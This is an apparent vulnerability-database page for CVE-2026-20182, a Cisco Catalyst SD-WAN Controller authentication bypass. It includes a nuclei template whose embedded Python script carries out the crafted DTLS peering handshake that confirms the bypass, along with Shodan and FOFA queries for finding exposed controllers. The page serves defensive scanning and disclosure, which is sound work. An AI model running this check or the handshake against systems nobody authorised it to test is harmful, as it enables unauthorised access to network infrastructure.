Browse / CVEs / CVE-2026-20182
CVE-2026-20182· cisco / catalyst sd-wan controller· CWE-287
Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
Exploited in the wild. Listed by CISA on 2026-05-14; known to be used by ransomware.
Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
Impact
Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
Fix
Update to the latest fixed version as per Cisco advisory.
How to confirm it
Positive when: contains "VULNERABLE:"Run it with nuclei: nuclei -id CVE-2026-20182 -u <target>
The full check
id: CVE-2026-20182
info:
name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
severity: critical
description: |
Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
remediation: |
Update to the latest fixed version as per Cisco advisory.
impact: |
Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
reference:
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
- https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
- https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
- https://nvd.nist.gov/vuln/detail/CVE-2026-20182
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10.0
cve-id: CVE-2026-20182
epss-score: 0.91817
epss-percentile: 0.99818
cwe-id: CWE-287
cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: cisco
product: catalyst_sd-wan_controller
shodan-query: port:12346 product:"Cisco SD-WAN"
fofa-query: port="12346" && product="Cisco SD-WAN"
tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev
variables:
HOST: "{{Host}}"
PORT: "{{Port}}"
code:
- engine:
- py
- python3
source: |
import os
import struct
import socket
import subprocess
import time
import select
import secrets
import tempfile
import shutil
MSG_HELLO = 0x05
MSG_CHALLENGE = 0x08
MSG_CHALLENGE_ACK = 0x09
MSG_TEAR_DOWN = 0x0B
DEV_VHUB = 2
HDR_FLAGS = 0xA0
DOMAIN_ID = 1
SITE_ID = 100
MSG_NAMES = {
0x05: "Hello",
0x08: "CHALLENGE",
0x09: "CHALLENGE_ACK",
0x0B: "TEAR_DOWN",
0x0D: "REGISTER_TO_VMANAGE",
0x0E: "VMANAGE_TO_PEER",
}
def build_header(msg_type):
byte0 = msg_type & 0x0F
byte1 = (DEV_VHUB & 0x0F) << 4
return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
DOMAIN_ID, SITE_ID)
def hdr_msg_type(data):
return data[0] & 0x0F if data else None
def build_tlv(tlv_type, value):
if isinstance(value, str):
value = value.encode()
return struct.pack(">HH", tlv_type, len(value)) + value
def build_challenge_ack_body():
uuid_str = secrets.token_hex(16)
server_key = secrets.token_hex(16)
tlvs = build_tlv(0x0013, struct.pack(">H", 0))
tlvs += build_tlv(0x0014, struct.pack(">H", 1))
tlvs += build_tlv(0x0018, struct.pack(">B", 1))
tlvs += build_tlv(0x0019, struct.pack(">B", 0))
tlvs += build_tlv(0x0006, uuid_str)
tlvs += build_tlv(0x0032, server_key)
body = struct.pack(">BB", 0, 0)
body += struct.pack(">B", 6)
body += tlvs
return body
def build_hello_body(port):
body = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
body += struct.pack(">H", 2)
body += socket.inet_aton("127.0.0.1")
body += struct.pack(">H", port)
body += struct.pack(">I", 1)
body += b"\x00" * 20
body += struct.pack(">II", 10000, 60000)
body += struct.pack(">B", 2)
body += build_tlv(0x0021, struct.pack(">B", 0))
body += build_tlv(0x0022, struct.pack(">B", 0))
return body
def generate_self_signed_cert():
tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
cert_path = os.path.join(tmpdir, "cert.pem")
key_path = os.path.join(tmpdir, "key.pem")
result = subprocess.run(
[
"openssl", "req", "-x509", "-newkey", "rsa:2048",
"-keyout", key_path,
"-out", cert_path,
"-days", "1",
"-nodes",
"-subj", "/CN=nuclei/O=nuclei/C=US",
"-quiet",
],
capture_output=True,
timeout=15,
)
if result.returncode != 0:
return None, None, tmpdir
return cert_path, key_path, tmpdir
def dtls_connect(host, port, cert_path, key_path):
cmd = [
"openssl", "s_client",
"-dtls1_2",
"-connect", f"{host}:{port}",
"-cert", cert_path,
"-key", key_path,
"-no_ign_eof",
"-quiet",
]
return subprocess.Popen(
cmd,
stdin=subprocess.PIPE,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
def wait_for_data(fd, timeout_sec):
ready, _, _ = select.select([fd], [], [], timeout_sec)
if not ready:
return None
try:
data = os.read(fd.fileno(), 65536)
return data if data else None
except OSError:
return None
def send_message(proc, msg_type, body=b""):
message = build_header(msg_type) + body
try:
proc.stdin.write(message)
proc.stdin.flush()
return True
except (BrokenPipeError, OSError):
return False
def recv_message(proc, timeout_sec=10):
data = wait_for_data(proc.stdout, timeout_sec)
if not data or len(data) < 12:
return None, None
return data[:12], data[12:]
def check_vulnerability(host, port):
target = f"{host}:{port}"
print(f"[*] Testing target: {target}")
cert_path, key_path, tmpdir = generate_self_signed_cert()
if not cert_path:
print("[-] Certificate generation failed")
return False
proc = None
try:
proc = dtls_connect(host, port, cert_path, key_path)
time.sleep(3)
if proc.poll() is not None:
print("[-] DTLS handshake failed")
return False
hdr, _ = recv_message(proc, timeout_sec=12)
if hdr is None:
print("[-] No CHALLENGE received")
return False
msg_type = hdr_msg_type(hdr)
if msg_type != MSG_CHALLENGE:
name = MSG_NAMES.get(msg_type, f"0x{msg_type:02X}")
print(f"[-] Unexpected message type: {name}")
return False
if not send_message(proc, MSG_CHALLENGE_ACK, build_challenge_ack_body()):
print("[-] Failed to send CHALLENGE_ACK")
return False
hdr, _ = recv_message(proc, timeout_sec=8)
if hdr is not None and hdr_msg_type(hdr) == MSG_TEAR_DOWN:
print("[-] Server sent TEAR_DOWN — not vulnerable")
return False
if not send_message(proc, MSG_HELLO, build_hello_body(port)):
print(f"VULNERABLE: {target}")
return True
hdr, _ = recv_message(proc, timeout_sec=8)
if hdr is not None:
msg_type = hdr_msg_type(hdr)
if msg_type == MSG_TEAR_DOWN:
print("[-] Server sent TEAR_DOWN after Hello — not vulnerable")
return False
print(f"VULNERABLE: {target}")
return True
print(f"VULNERABLE: {target}")
return True
except subprocess.TimeoutExpired:
print("[-] Operation timed out")
return False
except Exception as e:
print(f"[-] Error: {e}")
return False
finally:
if proc:
try:
proc.terminate()
proc.wait(timeout=3)
except Exception:
try:
proc.kill()
except Exception:
pass
shutil.rmtree(tmpdir, ignore_errors=True)
if __name__ == "__main__":
host = os.getenv("Host")
port = os.getenv("Port", "12346")
if not host:
print("Host environment variable not set")
exit(1)
try:
port = int(port)
except ValueError:
port = 12346
if check_vulnerability(host, port):
print("VULNERABLE: vHub CHALLENGE_ACK authentication bypass confirmed")
else:
print("Target appears to be patched or not Cisco SD-WAN vdaemon")
matchers:
- type: word
words:
- "VULNERABLE:"References
- https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
- https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
- https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
- https://nvd.nist.gov/vuln/detail/CVE-2026-20182
Use this check only on systems you are authorised to test. Where the data comes from